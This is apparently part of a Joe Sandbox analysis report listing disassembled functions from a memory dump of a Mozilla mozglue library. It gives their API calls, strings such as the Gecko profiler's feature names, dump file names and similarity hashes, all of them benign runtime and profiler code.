Function 6C922C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C922C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C922C61

Part of subcall function 6C8D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8D4E5A
Part of subcall function 6C8D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C922C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C922E2D

Part of subcall function 6C8E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8E81DE

Strings

KpT{/, xrefs: 6C922C26, 6C922D08
expected a Time entry, xrefs: 6C922E36
(root), xrefs: 6C92354F
ProfileBuffer parse error: %s, xrefs: 6C922E3B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$KpT{/$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-2781745505
Opcode ID: 03da82e64ce3c6a60d5b33a0f1a098e5bf6debd5a611355bd804e0d0b9f246a0
Instruction ID: 3b2184ff5006cad9fed9fe4c66e320c70d5fbc252a42345815b803a1a1ce6908
Opcode Fuzzy Hash: 03da82e64ce3c6a60d5b33a0f1a098e5bf6debd5a611355bd804e0d0b9f246a0
Instruction Fuzzy Hash: 2B91DEB06287408FC724CF28C48069EB7E4AFD9368F50892DE9DA8B754DB34D949CF52

Function 6C939E30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C939F3D
__aulldiv.LIBCMT ref: 6C939F77
__aullrem.LIBCMT ref: 6C939F8C
__aulldiv.LIBCMT ref: 6C93A023

Strings

-Infinity, xrefs: 6C939E60, 6C939E7B
KpT{/, xrefs: 6C939E3C
NaN, xrefs: 6C939EAB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$KpT{/$NaN
API String ID: 3839614884-1919814429
Opcode ID: a322637ff9aa3cc58a9aa995f0e702f69b929b2fd597936d3e5a118848fd3d68
Instruction ID: dfd1f65458fa59527ef3903d6611f5f8aedcf26b5e9e2cabb9767e28ee3ecb8b
Opcode Fuzzy Hash: a322637ff9aa3cc58a9aa995f0e702f69b929b2fd597936d3e5a118848fd3d68
Instruction Fuzzy Hash: B2C1AF31E043298BDF14CFE8C8507AEB7B6EB89304F545529D409ABB80DB74ED49CB91

Function 6C93B910 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C93B92D), ref: 6C8E9BC8
Part of subcall function 6C8E9B80: __Init_thread_footer.LIBCMT ref: 6C8E9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C8E03D4,?), ref: 6C93B955
NtQueryVirtualMemory.NTDLL ref: 6C93B9A5
NtQueryVirtualMemory.NTDLL ref: 6C93BA20
RtlNtStatusToDosError.NTDLL ref: 6C93BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C93BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C93BA86

Strings

KpT{/, xrefs: 6C93B8C7, 6C93B91E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID: KpT{/
API String ID: 1753913139-2391877073
Opcode ID: 29eba8eb89fc2d64c5d3e3c719ae7ba88fa9e9b6fab16a17095e2ac4e3183a36
Instruction ID: 76b03dcb6bb26cfdd573b0fbddc8ff2f4336950538ffc83b658f67343f1fd1bc
Opcode Fuzzy Hash: 29eba8eb89fc2d64c5d3e3c719ae7ba88fa9e9b6fab16a17095e2ac4e3183a36
Instruction Fuzzy Hash: 8B515E71E01A2DDFDF14CEA8D880ADDBBBAEB88318F145129E905F7704D730AD458B91

Function 6C918AC0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90FA80: GetCurrentThreadId.KERNEL32 ref: 6C90FA8D
Part of subcall function 6C90FA80: AcquireSRWLockExclusive.KERNEL32(6C95F448), ref: 6C90FA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C931563), ref: 6C918BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C931563), ref: 6C918C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6C931563), ref: 6C918C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6C931563), ref: 6C918CBA
free.MOZGLUE(?), ref: 6C918CCF

Strings

KpT{/, xrefs: 6C918ACE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID: KpT{/
API String ID: 2153970598-2391877073
Opcode ID: 6b9bc1a65fc9514d604349fa5cf7c17d258f2b1fa6d0e8e2958935476471c6f2
Instruction ID: 14ceb4030bd414f274451c874d035fe1cb81cbef786cd913e0c1657021c4e2ff
Opcode Fuzzy Hash: 6b9bc1a65fc9514d604349fa5cf7c17d258f2b1fa6d0e8e2958935476471c6f2
Instruction Fuzzy Hash: 9071C471A18B00CFD708CF29C480616B7F5FF99314F568A5EE9899BB22E770E884CB41

Function 6C8DF280 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C8DF2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6C8DF2F0
NtQueryVirtualMemory.NTDLL ref: 6C8DF308
RtlNtStatusToDosError.NTDLL ref: 6C8DF36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6C8DF371

Strings

KpT{/, xrefs: 6C8DF289

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID: KpT{/
API String ID: 1171715205-2391877073
Opcode ID: c342524946b24f3ffcf50701d3b347d788a47578b4fc330b0b5708f358eb6b35
Instruction ID: 208d6d943087a50d50f225def999004c2f6372db385b31b8e97f5c20443c401a
Opcode Fuzzy Hash: c342524946b24f3ffcf50701d3b347d788a47578b4fc330b0b5708f358eb6b35
Instruction Fuzzy Hash: 8321A230A01348DFEF348A65DE44BEF76B8AB5835CF164629E42097680D7B4E988D761

Function 6C9277A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C927A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C927A93

Part of subcall function 6C8F5C50: GetTickCount64.KERNEL32 ref: 6C8F5D40
Part of subcall function 6C8F5C50: EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C927AA1

Part of subcall function 6C8F5C50: __aulldiv.LIBCMT ref: 6C8F5DB4
Part of subcall function 6C8F5C50: LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C927B31

Strings

KpT{/, xrefs: 6C9277AF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID: KpT{/
API String ID: 4054851604-2391877073
Opcode ID: d17b4e8167245dc711f67a7bf7ab03e7dea36a0837f4422b5d5c0a9edc08912c
Instruction ID: baa96aa1de9007451bec7cb2665d4254388b33d50669b1bb6a0e86027ad572a7
Opcode Fuzzy Hash: d17b4e8167245dc711f67a7bf7ab03e7dea36a0837f4422b5d5c0a9edc08912c
Instruction Fuzzy Hash: 7FB19B356183808BCB14CF24C49069FB7E2BFD9318F154A1CE9D5A7B95DB74E90ACB82

Function 6C916CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C916D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C916E1E

Strings

KpT{/, xrefs: 6C916D04

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: KpT{/
API String ID: 4169067295-2391877073
Opcode ID: 67b8534258ba27e63a3bfec9dc5bdf7817c298b1843bee2bb3bbbd115454975b
Instruction ID: 7a02ac0d6931ba9834a56cd802ced4c396a61fe4b327a4320ad78ba5c8c56666
Opcode Fuzzy Hash: 67b8534258ba27e63a3bfec9dc5bdf7817c298b1843bee2bb3bbbd115454975b
Instruction Fuzzy Hash: D2A17D74A183848FD715CF24C4817AEBBE6FF98308F54491DE48A87B51DB70E948CB92

Function 6C93B700 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C93B720
RtlNtStatusToDosError.NTDLL ref: 6C93B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C90FE3F,00000000,00000000,?,?,00000000,?,6C90FE3F), ref: 6C93B760

Strings

KpT{/, xrefs: 6C93B707

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID: KpT{/
API String ID: 304294125-2391877073
Opcode ID: 685e769c61b3be87bde09bf56dba9b539aacba5abf4a110d7a8750b6deaaaceb
Instruction ID: e37b3b503e857e67e7dbeb9f7a31dba3627db4ec0003dcefd555d5116a9f8b8e
Opcode Fuzzy Hash: 685e769c61b3be87bde09bf56dba9b539aacba5abf4a110d7a8750b6deaaaceb
Instruction Fuzzy Hash: 2FF0AFB0A0421CEEEF019AA18C88BEF77BCDB18719F50622AE516619C0D774D68CC660

Function 6C9453C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9486AE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: 69dec5455dfe89b7ef736cb242c48eb2b12761a47e8e18ed5056594ee3eb9b7e
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: AAC1A372A0011A8FDB14CF68CC90BEDB7B6EF95314F1542A9C949EB785D730E989CB90

Function 6C94545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C948A4B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cba2aa4d3b618bff0343aaecff5a550e50081d41f69085181ce9f1251e6caf61
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D0B1F772E0121ACFDB24CF68CC907A8B7B6EF95314F1942A9C549DB785D730D989CB90

Function 6C94542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C94925C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 4544e0e947daeff4935339497f219da263e5827d9742be956ba2b6d5993f9384
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2DB1D572E0021A8FDB18CF58C8816ADB7B6AF95314F1542A9C949EB785D730E989CB90

Function 6C9450C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C948E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C94925C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 0c88f4b6113fcb556821367bcc70430533acdb14666c88e2898aa2f6539856b1
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 7CA1D672A0011B8FDB14CF68CC807A9B7B6AF95314F1542B9C949EB785D730E999CB90

Function 6C93B8C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C8E03D4,?), ref: 6C93B955
NtQueryVirtualMemory.NTDLL ref: 6C93B9A5

Strings

KpT{/, xrefs: 6C93B8C7, 6C93B91E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID: KpT{/
API String ID: 1889792194-2391877073
Opcode ID: 3ec1b9db230f90f48b20f5e27e39989b86770f95d80d06c33cb5a527e7825a42
Instruction ID: fb076d3f874f0daeafcb85e368de23ffc38c2043bd93e41d68d93cd8620a7d95
Opcode Fuzzy Hash: 3ec1b9db230f90f48b20f5e27e39989b86770f95d80d06c33cb5a527e7825a42
Instruction Fuzzy Hash: 49419171E0161D9FDF04CFA8D880ADEBBBAEF88354F648129E509A7744DB30DD458B90

Function 6C91CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C8E582D), ref: 6C91CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C8E582D), ref: 6C91CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C94FE98,?,?,?,?,?,6C8E582D), ref: 6C91CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C8E582D), ref: 6C91CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C8E582D), ref: 6C91CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C8E582D), ref: 6C91CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8E582D), ref: 6C91CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C91CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C91CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C91CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C91CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C91CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C91CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C91CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C91CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C91CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C91CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C91CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C91CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C91CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C91CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C91CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C91CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C91CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C91CE8A

Strings

seqstyle, xrefs: 6C91CCE6
noiostacks, xrefs: 6C91CCBE
samplingallthreads, xrefs: 6C91CE2C
Unrecognized feature "%s"., xrefs: 6C91CEA0
cpuallthreads, xrefs: 6C91CE16
markersallthreads, xrefs: 6C91CE42
audiocallbacktracing, xrefs: 6C91CDD4
ipcmessages, xrefs: 6C91CDBE
fileioall, xrefs: 6C91CCA8
default, xrefs: 6C91CC21
preferencereads, xrefs: 6C91CD92
nativeallocations, xrefs: 6C91CDA8
fileio, xrefs: 6C91CC92
leaf, xrefs: 6C91CC66
power, xrefs: 6C91CE84
java, xrefs: 6C91CC37
nostacksampling, xrefs: 6C91CD7C
stackwalk, xrefs: 6C91CCF8
mainthreadio, xrefs: 6C91CC7C
processcpu, xrefs: 6C91CE6E
screenshots, xrefs: 6C91CCD4
jsallocations, xrefs: 6C91CD0E
unregisteredthreads, xrefs: 6C91CE58
notimerresolutionchange, xrefs: 6C91CE00

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 79c1ebaeb7bc5b00a5f9dce3774c3ab9d8dae1b3da3b0bcf7e5c8a62f8656b70
Instruction ID: 3bdf4d7c920e2df2e8864af857cb9dfad67569373f1909784aa325fb162927ef
Opcode Fuzzy Hash: 79c1ebaeb7bc5b00a5f9dce3774c3ab9d8dae1b3da3b0bcf7e5c8a62f8656b70
Instruction Fuzzy Hash: 3E51A6C5A5D22E56FB0031156D13BAA144EEFB324EF10943AED0AA1F80FB05E61D87B7

Function 6C8E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C8E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E482D
__Init_thread_footer.LIBCMT ref: 6C8E484A

Part of subcall function 6C90AB3F: EnterCriticalSection.KERNEL32(6C95E370,?,?,6C8D3527,6C95F6CC,?,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB49
